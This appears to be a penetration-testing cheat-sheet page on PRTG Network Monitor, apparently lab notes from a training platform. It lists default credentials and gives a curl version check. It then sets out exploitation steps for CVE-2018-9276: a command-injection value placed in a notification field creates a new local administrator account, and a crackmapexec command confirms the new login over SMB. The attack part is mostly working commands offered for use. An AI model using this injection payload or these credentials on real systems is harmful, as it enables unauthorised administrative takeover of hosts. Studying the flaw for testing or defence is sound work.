# PRTG Network Monitor

### Discovery

Typically found in port 80, 443, 8080

#### Default Credentials

prtgadmin:prtgadmin

### Enumeration

#### Getting Version Number

{% code overflow="wrap" %}

```shell-session
$ curl -s http://10.129.201.50:8080/index.htm -A "Mozilla/5.0 (compatible;  MSIE 7.01; Windows NT 5.0)" | grep version
```

{% endcode %}

### Exploitation

Adding new local admin using [CVE-2018-9276](https://nvd.nist.gov/vuln/detail/CVE-2018-9276)&#x20;

1. Setup > Account Settings > Notifications > Add new Notification
2. `test.txt;net user prtgadm1 Pwn3d_by_PRTG! /add;net localgroup administrators prtgadm1 /add`&#x20;

<figure><img src="https://3782755820-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxiHgPDbj4maVZuaNWLtn%2Fuploads%2FpI5k1mpPShpchxvl6Obv%2Fimage.png?alt=media&#x26;token=87a017e8-b71d-4f6f-a4ce-fb86af4a3f50" alt=""><figcaption></figcaption></figure>

3. Save and click the "Test" button to execute our command
4. Using cme

```shell-session
$ sudo crackmapexec smb 10.129.201.50 -u prtgadm1 -p Pwn3d_by_PRTG! 
```

\\
